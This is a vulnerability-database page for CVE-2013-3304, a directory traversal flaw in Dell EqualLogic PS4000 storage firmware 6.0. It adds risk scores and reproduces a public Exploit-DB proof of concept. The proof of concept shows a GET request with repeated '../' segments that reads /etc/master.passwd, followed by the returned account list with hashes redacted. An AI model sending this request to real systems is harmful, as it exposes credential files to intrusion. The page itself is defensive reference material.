CVE-2013-3304

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Published 2014-10-30 · Modified 2026-05-06

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

6.0

Description

Directory traversal vulnerability in Dell EqualLogic PS4000 with firmware 6.0 allows remote attackers to read arbitrary files via a .. (dot dot) in the default URI.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-35056 webapps hardware text · 1 KB

XLabs Security · 2014-10-25

Dell EqualLogic Storage - Directory Traversal

text exploit Source: Exploit-DB

# Exploit Title: Remote Directory Traversal exploit for Dell EqualLogic 6.0
Storage
# Date: 09/2013
# Exploit Author: Mauricio Pampim Corr�a
# Vendor Homepage: www.dell.com
# Version: 6.0
# Tested on: Equipment Model Dell EqualLogic PS4000
# CVE : CVE-2013-3304

 

The malicious user sends

 

GET //../../../../../../../../etc/master.passwd

 

 

 

And the Dell Storage answers

 

root:[hash] &:/root:/bin/sh
daemon:*:[hash]::0:0:The devil himself:/:/sbin/nologin
operator:*:[hash]::0:0:System &:/usr/guest/operator:/sbin/nologin
bin:*:[hash]::0:0:Binaries Commands and Source:/:/sbin/nologin
sshd:*:[hash]:0:0:SSH pseudo-user:/var/chroot/sshd:/sbin/nologin
uucp:*:[hash]:UNIX-to-UNIX
Copy:/var/spool/uucppublic:/usr/libexec/uucp/uucico
nobody:*:[hash]:Unprivileged user:/nonexistent:/sbin/nologin
grpadmin:[hash]:Group Manager Admin Account:/mgtdb/update:/usr/bin/Cli
authgroup:[hash]:Group Authenication Account:/:/sbin/nologin

 

 

More informations in (Br-Portuguese) https://www.xlabs.com.br/blog/?p=50

 

Could obtain shell with flaw? send me an email telling me how, to
mauricio[at]xlabs.com.br

 

Thanks

References

CWEs

CWE-22

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.